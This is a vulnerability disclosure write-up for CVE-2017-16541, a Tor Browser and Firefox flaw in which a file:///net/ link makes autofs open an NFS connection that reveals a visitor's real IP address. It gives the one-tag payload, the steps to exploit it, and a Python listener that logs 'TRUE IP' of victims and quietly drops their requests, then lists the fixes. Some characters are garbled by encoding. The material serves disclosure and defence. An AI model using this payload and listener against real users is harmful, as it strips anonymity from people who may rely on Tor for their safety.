Tor Browser 7.0.8 Information Disclosure

This write up holds the details for the Tor Browser information disclosure vulnerability as discussed in CVE-2017-16541. Version 7.0.8 is affected.

MD5 | 271de236533c8c6c6b398877415184db

there is the details for CVE-2017-16541 (Tor Browser information disclosure),

More infos at:

Tor Browser version 7.0.8, and probably prior, for Mac OS X and Linux, is affected by an information disclosure vulnerability that leads to full de-anonymization of website visitors using just a single html tag. The vulnerability also affects Firefox (ver <= 62.0 / 60.2.0 ESR).

Vulnerability Details

The vulnerability exists because Firefox fails to prevent automount/autofs to be called within a webpage using file:// handler.
Basically automount is a program that allows NFS mount points to be automatically mounted when accessed. For example it can be configured to trigger a NFS connection to when /localdir is accessed from client machine.
Automount can also be configured to allow a path starting with a/net/a to specify the remote server address and path, so als /net/ will trigger an NFS connection to This is the default configuration on Mac OSX.
This functionality can also be triggered in many ways from a webpage by calling the file:// handler, for example with: <link href=afile:///net/>.
NFS mount points are handled by the kernel so there is no way for a browser to tunnel their connections thru a proxy.
An interesting part is that this vulnerability can be exploited even if javascript is disabled.
This vulnerability only affects Mac OS X users with default configuration and Linux user with automount package installed and configured properly.


To demostrate this issue follow the steps below:

host an html page with the following content:
<link href='file:///net/' rel='stylesheet'> a atcpdump port 111a
2.load the previously hosted page into Tor Browser

watch the output of tcpdump, you should see UDP packets sent to
To exploit this vulnerability to deanonymize a Tor Browser user an attacker needs to host the malicious page on a server he/she owns, trick the victim into load the malicius page and watch the output of tcpdump (running on the webserver).
Doing so the browser of the victim will show a loading indicator until a successful NFS is preformed of until the NFS timeout is reached.
As a result the victim may notice that something unusual is happening. To prevent this the attacker has (at least) two options:

1.configure a NFS server so the victimas machine will complete the connection without waiting
2.listen to portmap requests (UDP port 111) and immediatley reject the connection

The problem of the first solution is that the mountpoint may remain visible to the victim and it also may leave some traces on the log files.
The second solution involves some python code that terminates gracefully RPC requests:


sok = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sok.bind((BIND_ADDR, BIND_PORT))
except Exception as e:
print e

print "Waiting for victims on UDP port %d\n" % BIND_PORT
while True:
data, addr = sok.recvfrom(1024)
ip = addr[0]
print("TRUE IP: %s" % ip)

# reply with PROGRAM_NOT_AVAILABLE to drop connection
# first 4bytes are packet id, the last 4 mean "port 0"

rpl = data[:4] + "\x00\x00\x00\x01" + bytearray(20)

if not sok.sendto(rpl, addr):
print "Error sending reply to %s" % ip

Due to itas nature, Tormoil can de-anonymize both visitors of hidden services and visitors of regular internet websites and can also be ainjecteda using Man In The Middle techniques (ex exit node owners).


This vulnerability has been discovered and reported to the Tor Project on 10-26-2017 and got fixed in a matter of days.
Tor Browser is based on Firefox that was also affected by the same vulnerability, but since the Firefox team rated this vulnerability as moderate it took longer to get fixed.
In the meantime the Tor Browser team applied a temporary fix to their browser that prevents any access to file:// resources.
This was a perfectly coherent solution since the focus of Tor Browser is useras anonymity. However this fix broke a legitimate functionality of a anormala browser so the Firefox team didat implemented this solution.
Instead they worked on a solution for months to build a blacklisting mechanism that filters out adangerousa paths and prevents the trigger of automount.


Update Tor Browser to version 7.0.9

Update Firefox to version 62.0 or 60.2.0 ESR



Filippo Cavallarin ([email protected])

Related Posts